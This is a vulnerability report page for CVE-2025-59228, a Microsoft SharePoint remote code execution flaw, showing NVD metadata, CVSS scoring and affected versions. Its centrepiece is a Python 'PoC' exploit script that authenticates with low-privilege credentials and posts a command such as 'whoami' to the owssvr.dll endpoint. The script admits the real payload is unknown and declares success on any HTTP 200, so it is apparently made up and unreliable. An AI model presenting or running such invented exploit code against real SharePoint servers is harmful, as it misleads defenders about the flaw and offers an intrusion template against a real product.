Security Vulnerability Report
中文
CVE-2025-59228 CVSS 8.8 HIGH

CVE-2025-59228

Published: 2025-10-14 17:16:04
Last Modified: 2025-10-28 20:33:09

Description

Improper input validation in Microsoft Office SharePoint allows an authorized attacker to execute code over a network.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:* - VULNERABLE
Microsoft SharePoint Server 2019(待官方确认具体版本)
Microsoft SharePoint Server Subscription Edition(待官方确认具体版本)
Microsoft SharePoint Online(待官方确认是否受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59228 - Microsoft SharePoint RCE PoC (Conceptual) # Vulnerability: Improper Input Validation leading to RCE # Requirements: Authenticated low-privilege SharePoint account import requests from requests_ntlm import HttpNtlmAuth TARGET_URL = "https://target-sharepoint-server" USERNAME = "low_priv_user" PASSWORD = "password" DOMAIN = "DOMAIN" def exploit_cve_2025_59228(target_url, username, password, domain): """ Exploit improper input validation in SharePoint to achieve RCE. The vulnerability allows an authenticated attacker to execute code by sending specially crafted requests to vulnerable SharePoint endpoints. """ session = requests.Session() session.auth = HttpNtlmAuth(f"{domain}\\{username}", password) # Step 1: Authenticate to SharePoint auth_url = f"{target_url}/_layouts/15/authenticate.aspx" session.get(auth_url) # Step 2: Craft malicious payload exploiting input validation flaw # The payload targets the vulnerable endpoint that lacks proper input validation vulnerable_endpoint = f"{target_url}/_vti_bin/owssvr.dll" # Malicious payload leveraging improper input validation # Note: Actual payload structure depends on the specific vulnerable parameter headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Crafted input that bypasses validation checks payload = { "cmd": "whoami", # Command to execute # Additional parameters that trigger the vulnerability } # Step 3: Send exploit request response = session.post(vulnerable_endpoint, data=payload, headers=headers) if response.status_code == 200: print(f"[+] Exploit successful!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Exploit failed. Status: {response.status_code}") return False if __name__ == "__main__": exploit_cve_2025_59228(TARGET_URL, USERNAME, PASSWORD, DOMAIN)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59228", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:03.747", "lastModified": "2025-10-28T20:33:09.160", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper input validation in Microsoft Office SharePoint allows an authorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19127.20262", "matchCriteriaId": "BA265D82-C463-40AC-B14E-2DA1698A75E1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59228", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}